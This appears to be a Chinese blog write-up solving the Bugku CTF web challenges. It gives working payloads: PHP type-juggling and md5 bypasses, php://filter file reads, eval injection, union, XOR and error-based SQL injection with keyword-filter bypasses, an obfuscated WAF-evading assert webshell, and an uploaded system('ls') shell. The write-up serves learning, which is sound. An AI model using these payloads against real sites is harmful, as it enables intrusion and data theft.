前言
很久以前基本就做完了bugku
平台上的web
题目,最近整理整理一下。简单的题目就写短一点吧。
正文
web2
提示:听说聪明的人都能找到答案
链接
flag在源代码中。
计算器
发现输入框中只能输入一位数字,但是正确的答案有两位,所以只能通过f12
修改前端代码maxlength
的值或者通过抓包发送正确的值得到flag。
get基础
进入题目之后出现代码
提示,按要求get
方式传入what=flag
即可得到flag
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
post基础
和上题类似,通过post
方式传入对应的参数即可。推荐使用firefox浏览器的hackbar
插件。
矛盾
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
通过代码的第一个if
要求$num
不可以为数字,第二个if
要求$num
的值为1,由于php
是弱类型语言。1e
等类似的的字符串为经过==
判断为1
。
payload:http://123.206.87.240:8002/get/index1.php?num=1e
web3
tips: flag就在这里快来找找吧
重要的信息在源代码中的最后几行。
域名解析
tips: 听说把 flag.bugku.com 解析到123.206.87.240 就能拿到flag
修改hosts
文件即可。比如linux
系统中所在的地址是/etc/hosts
。
你必须让他停下
使用burp site
多抓几次包即可。
本地包含
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
这个题目有三种解法
- eval 可以执行命令
所以构造hello参数使得里面的括号闭合
hello=1);show_source(%27flag.php%27);var_dump(2
- 使用eval配合php伪协议
- 直接读到hello变量中
?hello=get_file_contents(‘flag.php’)
?hello=file(‘flag.php’)
变量1
//flag In the variable !
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
首先进入题目之后,发现一段代码和一个提示flag In the variable !
。
分析代码发现正则表达式只允许$args
的值中出现大小写字母和数字,所以不能构造上一题中的文件包含。然后只能使用php中的超全局变量$GLOBALS
(数组,保存所有的全局变量)。
payload:?args=GLOBALS
web5
tips : JSPFUCK???答案格式CTF{**}
字母大写
链接
查看网页源代码发现存在很多的规则字符串,有经验的发现这是JSFUCK编码,没有经验的题目也提示了。复制全部的编码字符串使用chrome
浏览器的调试器即可反编码。
头等舱
进入题目之后发现提示什么也没有
,但是发现这段话的上面有很多 的空行。
查看源代码之后发现有很多的<br>
换行。这是错误的思路。
使用burp site
抓返回来的包
flag在http响应头中,和题目头等舱
对应。
网站被黑
tips : 这个题没技术含量但是实战中经常遇到
链接
进入题目之后没有发现什么有用的信息,根据题目网站被黑
,想到网站可能存在webshell
,
使用burp site
**shell密码即可。
密码字典推荐使用top10000
.
管理员系统
tips : flag格式flag{}
链接
尝试登录时发现这样的提示
尝试来源IP伪造为127.0.0.1
,推荐使用firefox的modify headers
插件。
再一次尝试登陆,发现报错信息变成Invalid credentials! Please try again!
然后弱口令**,密码应该是test123
,用户名admin
。
web4
tips : 看看源代码
链接
两处提示都是查看源代码,恩,我们看看源代码。
简单分析之后发现Escape解码之后可以得到一般形式的js代码。在线解码网址
在输入框之中输入67d709b2b54aa2aa648cf6e87a7114f1
即可得到flag。
flag在index里
进入题目出现一个a链接
,点击之后进入另一界面。
发现url中的参数可能可以构造任意文件读取或者任意文件上传的。这里需要用到的知识是php伪协议
,具体详情可以百度。
payload: file=php://filter/read=convert.base64-encode/resource=index.php
然后base64解码即可得到index.php
的源代码,flag就在代码中。
输入密码查看flag
根据提示,构造从00000
到99999
的密码**即可。
点击一百万次
tips : java script
链接
在这个题目中你可以选择点击一百万次,或者认真的分析一下java script
代码.
查看源代码
发现点击次数通过js传输一个叫做clicks
的参数,通过判断clicks
> 一百万即可得到flag,所以我们构造一个post参数使得他的值大于一百万即可。
备份是个好习惯
tips: 听说备份是一个好习惯
链接
一般在linux中常见的备份文件的格式有
.bak
.swp
.swo
.zip
.tar
.rar
等等
根据题目的提示发现可能存在备份文件,测试发现存在index.php.bak
,访问payload因为服务器不能解析后缀为 .bak
的文件,所以会直接把index.php.bak
文件下载下来。
接着是分析下载下来的index.php
的代码
<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);//得到get方式的参数
$str = str_replace('key','',$str);//替换参数中的key为空,可以双写绕过
parse_str($str);//字符串解析到变量中
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
由于php中的==
判断时,0e111111
=0e333423423
=0
,所有使用md5的值为0e
开头的字符串绕过最后的if
payload : http://123.206.87.240:8002/web16/?kekeyy1=s878926199a&kekeyy2=s155964671a
成绩单
tips : 快来查查成绩吧
链接
非常简单的sq注入题目。
首先判断后端返回的列数,此处为4
然后判断后端返回的格式
查看数据库名称和用户名
id=-1' union select 1,user(),database(),4 #
爆表
id=-1' union select 1,2,database(),(select group_concat(table_name) from information_schema.tables where table_schema =database())#
爆列
id=-1' union select 1,2,database(),(select group_concat(column_name) from information_schema.columns where table_name = 'fl4g')#
获取flag
id=-1' union select 1,2,database(),(select skctf_flag from fl4g)#
这个题目还可以使用sqlamp
直接跑出flag。
秋名山老司机
是不是老司机试试就知道。
链接
这个题目中,下面需要计算的式子大概两秒钟更换一次,所以只能通过python
脚本计算,并且把正确的答案通过post
方式传到服务器。
#这里直接使用别人写的脚本,我以前写的找不到了
import requests
import re
url='http://120.24.86.145:8002/qiumingshan/'
r=requests.session()
requestpage = r.get(url)
ans=re.findall('<div>(.*?)=?;</div>',requestpage.text)#获取表达式,我正则写的好像有点问题,多匹配了最后的=?两个字符
ans="".join(ans)#列表转为字符串
ans=ans[:-2]#去掉最后的=?
post=eval(ans)#计算表达式的值
data={'value':post}#构造post的data部分
flag=r.post(url,data=data)
print(flag.text)
运行之后有一定的几率可以获取到flag。
速度要快
tips : 速度要快
链接
查看网页源代码发现提示
按照网页源代码中的要求传入margin
参数之后出现一个新的字符串。
在响应头中发现flag,base64解码之后提交不对,发现这个头部中的flag的值会变。
然后直接上脚本。
import requests
import base64
url = 'http://120.24.86.145:8002/web6/'
req = requests.session()
res = req.get(url)
flag = res.headers['flag']
txt = base64.b64decode(flag)
txt = txt[txt.index(":")+2:]
txt = base64.b64decode(txt)
data = {'margin': txt}
ans = req.post(url, data)
print ans.content
cookies欺骗
tips : 答案格式:KEY{xxxxxxxx}
链接
直接打开链接之后出现
url中的filename
值base64解码之后得到keys.txt
然后把filename
的值替换成index.php
的base64编码值aW5kZXgucGhw
但是没有返回任何内容,后面发现line
的值就是代表第几行的意思,所以
读第一行的的payload为:
http://123.206.87.240:8002/web11/index.php?line=1&filename=aW5kZXgucGhw
读第二行的payload为:
http://123.206.87.240:8002/web11/index.php?line=2&filename=aW5kZXgucGhw
这样很麻烦,所以还是使用脚本来跑吧
#!/usr/bin/env python3
#-*-coding:utf-8-*-
#power by jedi
import requests
for i in range(1, 20):
payload = "http://123.206.87.240:8002/web11/index.php?line=%s&filename=aW5kZXgucGhw"%i
try:
response = requests.get(payload, timeout=2)
print(response.content)
except:
pass
跑出的index.php
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?
通过源代码的分析发现只要构造一对cookie,margin
=margin
即可访问keys.php
,使用同样的方法可以得出flag
#!/usr/bin/env python3
#-*-coding:utf-8-*-
#power by jedi
import requests
import base64
flag_file = "keys.php"
flag_file_base64 = base64.b64encode(flag_file)
cookies = {"margin":"margin"}
for i in range(20):
payload = "http://123.206.87.240:8002/web11/index.php?line=%s&filename=%s"%(i, flag_file_base64)
try:
response = requests.get(payload, timeout=2, cookies = cookies)
print(response.content)
except:
pass
never give up
查看网页源代码发现一个tip
访问1p.html
先整体UnEscape
解密,接着base64
解码,然后再unEscape
可以得到下面的代码
";if(!$_GET['id']){
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')){
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4){
require("f4l2a3g.txt");
}
else{
print "never never never give up !!!";
}
?>
然后直接访问f4l2a3g.txt
即可得到flag
welcome to bugkuctf
查看源代码发现这段代码
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
审计源代码发现这几点要求
get传递三个参数,其中的password没有使用到
存在一个参数user的文件内容===welcome to the bugkuctf
$file = hint.txt
配合使用php://input
和php://filter
读取文件,其中password可以没有。
hint.php文件
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
index.php文件
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
从index文件中可以得到不能直接得去flag.php,并且发现参数password的作用,PHP 7 增加了可以为 unserialize() 提供过滤的特性,可以防止非法数据进行代码注入,提供了更安全的反序列化数据。其作用即为让你用字符串方式传递一个类
。看到unserialize()这段代码及hint.php类有个 __toString()构造函数,可以构造password的序列化。然后反序列读出flag.php文件
通过下面的脚本可以使得类变序列化。
<?php
class Flag{//flag.php
public $file;
}
$a = new Flag();
$a->file = "flag.php";
$a = serialize($a);
print_r($a);
?>
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
把输出的值作为password的值,flag被注释,在源代码中。
过狗一句话
tips : 送给大家一个过狗一句话
<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>
<?php $poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc); // 把字符串打散为数组
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5]; // poc_2 = assert
$poc_2($_GET['s'])// assert($_GET['s']) assert可以执行任意代码
?>
payload : http://123.206.87.240:8010/?s=print_r(scandir('./'))
发现一个名字为f14g.php
的文件直接访问里面就是flag
字符?正则?
tips : 字符?正则?
链接
打开链接之后就是一大串的代码
<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
这是一个正则表达式的题目,首先需要分析一下正则
- /key 代表必须以key开头
- . 代表可以匹配任意的字符
-
*匹配前面字符0到多次
- {n, m}前面的字符重复n到m次
- \后面的字符被转义
- [a-z]在a-z中匹配
- [[:punct:]] 匹配热河的标点符号
- /i对大小写不敏感
到此可以构造参数获取flag
最后的payload之一:http://123.206.87.240:8002/web10/?id=keyakeyaaaakey:/a/keya!
前女友(SKCTF)
flag格式:SKCTF{xxxxxxxxxxxxxxxxxx}
链接
在这个链接中的真的有一个链接
点击code.txt中发现这段代码
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
php中的md5函数和sha1函数以及strcmp函数处理数组会返回null。所以可以这样构造参数:?v1[]=a&v2[]=b&v3[]=c
login1(SKCTF)
tips: flag格式:SKCTF{xxxxxxxxxxxxxxxxx}
hint:SQL约束攻击
链接
首先解释什么是sql约束攻击
在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)例如以下语句的查询结果,与使用用户名“vampire”进行查询时的结果是一样的。
SELECT * FROM users WHERE username='vampire ';
但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。
在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”。
所以注册时注册的用户名为admin+很多个空格
,密码随便只要符合要求。
之后登录这个注册的用户即可。
你从哪里来
Http协议头中的Referer主要用来让服务器判断来源页面
所以可以使用referer
来伪造来源网页。在请求头中添加这个即可。
md5 collision(NUPT_CTF)
按照要求构造参数a
,任意给a赋值,返回false
给a赋值为s155964671a的时候正确返回flag。猜测后端md5比对的值应该是0e
开头的。
程序员本地网站
tips: 请从本地访问
链接
然后构造伪造来源ip。
各种绕过
tips : 各种绕过哟
链接
访问之后出现以下的代码
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
由于php中的sha1函数处理数组返回null
,所以最终的payload如下
web8
tips : txt????
链接
访问之后出现如下的代码
<?php
extract($_GET); // extract 从数组中解析为变量
if (!empty($ac)){
$f = trim(file_get_contents($fn));// trim 移除字符串两侧的空白字符或其他预定义字符
if ($ac === $f){
echo "<p>This is flag:" ." $flag</p>";
}else{
echo "<p>sorry!</p>";
}
}
?>
根据提示猜测存在flag.txt
文件,访问,发现flag.txt
的内容为flags
根据php代码构造payload
多次
tips : 本题有2个flag
flag均为小写
flag格式 flag{}
链接
这一题目主要学习到了异或注入
,平台入口显示这一题应该还是我们学校的题目。还是我太年轻了。
id到变大之后会提示这是sql注入
,尝试了各种注入,都没有办法,最后发现这是异或注入
。
简单的收集一下信息
这个题目的闭合方式是单引号闭合,并且报错返回结果只有Error,Error,Error!
。在URL
的最后加上注释--+
发现没有报错,所以确定这是SQL注入
。然后判断sql注入的类型
http://123.206.87.240:9004/1ndex.php
?id=2’ or 1=1–+
http://123.206.87.240:9004/1ndex.php
?id=2’ oorr 1=1–+
发现or
和and
等关键字被过滤,但是可以双写绕过。那么其他被过滤的字符怎么来判断呢?需要用到一个叫做sql异或注入
的东西。和异或差不多,异或注入就是两个条件相同(同真或同假)即为假。
http://123.206.87.240:9004/1ndex.php
?id=2’^(length(“union”)!=0)–+
界面返回正常,所以说明length("select")==0
,也就是说select
关键字被过滤。
同样的简单的测试一下被过滤的关键字有:
or
and
select
union
恩,知道这些就已经够了
被过滤的可以双写绕过。所以后台处理的应该是使用string的replace方法将关键字置空。
- 爆表:
http://123.206.87.240:9004/1ndex.php
?id=-2' uniounionn selecselectt 1, group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() --+
- 爆字段
http://123.206.87.240:9004/1ndex.php
?id=-2' uniounionn selecselectt 1, group_concat(column_name) from infoorrmation_schema.columns where table_name='flag1'--+
- 爆数据
http://123.206.87.240:9004/1ndex.php
?id=-2' uniounionn selecselectt 1,flag1 from flag1--+
发现注入出来的是这个字符串usOwycTju+FTUUzXosjr
,但是提交不正确,所以尝试爆address
字段的数据。得到这个地址
又是一个注入,和题目多次
相对应。
在id=1
之后加一个'
直接把mysql
的报错信息直接打印出来,并且还直接把我们构造的id直接打印出来。看着应该很容易的样子。
使用异或注入的方法也可以发现下面的关键字被过滤
union substr sleep
双写无法绕过,大小写无法绕过,/!/无法绕过。
所以尝试使用updatexml
报错
- 爆表
http://123.206.87.240:9004/Once_More.php
?id=1' and updatexml(1,concat('_',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'_'),1) --+
XPATH syntax error: ',flag2_'
- 爆字段
http://123.206.87.240:9004/Once_More.php
?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='flag2'),'~'),1) --+
XPATH syntax error: '~flag2,address~'
- 爆内容
http://123.206.87.240:9004/Once_More.php
?id=1' and updatexml(1,concat('~',(select flag2 from flag2),'~'),1) --+
XPATH syntax error: '~flag{Bugku-sql_6s-2i-4t-bug}~'
PHP_encrypt_1(ISCCCTF)
密文:fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
首先下载加密的php文件
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>
文件包含2
tips : flag格式:SKCTF{xxxxxxxxxxxxxxxx}
hint:文件包含
链接
访问链接之后,会自动转跳至这个链接http://123.206.31.85:49166/index.php?file=hello.php
,url中出现一个flag=xxx
,猜测是文件包含,但是尝试使用php伪协议
或者../
想读出flag的时候,但是应该存在waf
,所以出现
这时候在源代码中发现这样的注释代码
尝试访问upload.php
上传图片木马
发现不能解析为php,所以在这里尝试使用zip://
,恩,还是失败。
最后发现,将以下的代码保存到code.jpg
中上传
<script language=php>system("ls")</script>
如果直接访问的话会发现
使用文件包含即可读取文件,其中名字最长的那个就是flag文件了。
flag.php
[链接](http://123.206.87.240:8002/flagphp/)
tips:点了login咋没反应
提示:hint
首先进入题目是一个登录界面,但是点击登录之后没有反应,查看网页源代码时发现login按钮的类型是button不是submit。这题纯属脑洞,题目提示给了hint
,需要get传入参数hint
,然后会直接弹出index的php源代码。
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>
<?php
}
$KEY='ISecer:www.isecer.com';
?>
有了源代码之后第一步就是代码审计,首先第一个if
,GET传入参数hint
直接打印源代码,elif
获取cookie中的ISecer
的值反序列化之后全等于$KEY
直接打印flag,否则返回登录界面。不过这里有个坑,$KEY
应该没有定义,值为NULL
而不是最后定义的$KEY='ISecer:www.isecer.com';
序列化可以参考
<?php
$a = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut');
//序列化数组
$s = serialize($a);
echo $s;
//输出结果:a:3:{s:1:"a";s:5:"Apple";s:1:"b";s:6:"banana";s:1:"c";s:7:"Coconut";
所以需要需要构造一个值为s:0:"";
的cookie,不过首先需要url编码。
s%3A0%3A%22%22%3B
孙xx的博客
tips:需要用到渗透测试第一步信息收集
链接
一开始进入题目是懵逼无助的,这是一个使用WordPress搭建的站点,首页中有好几个假的flag,简单的找了一会没有发现切入点。然后开始关注tips需要用到渗透测试第一步信息收集
。那就收集吧,没有源码泄露,然后在robots.txt
文件中发现flag。
然后这个题目的分值是200分,我认为应该值50分吧。
Trim的日记本
hints:不要一次就放弃
链接
进入题目之后都是显示mysql connect error!
,其他的界面也是这样,测试之后大概也是不能链接数据库的,所以排除sql注入。
找了很久,最后扫描目录时发现一个show.php
的文件,里面有flag,这一题大概是考察越权访问???
文件上传2(湖湘杯)
访问题目之后,有一段信息提示说只能上传PNG格式图片,并且在下面有一链接。URLhttp://123.206.87.240:9011/?op=home
,尝试任意读文件无果,但是发现应该存在waf.
但是各种上传之后无果,发现首页url没有过滤php伪协议,恩恩额。直接读出flag了。what 法克。出题人的恶趣味。
payload:http://123.206.87.240:9011/?op=php://filter/read=convert.base64-encode/resource=flag
当下网页源代码之后,发现只过滤/../
。
$op = empty($_GET['op']) ? 'home' : $_GET['op'];
if(!is_string($op) || preg_match('/\.\./', $op))
die('Try it again and I will kill you! I freaking hate hackers!');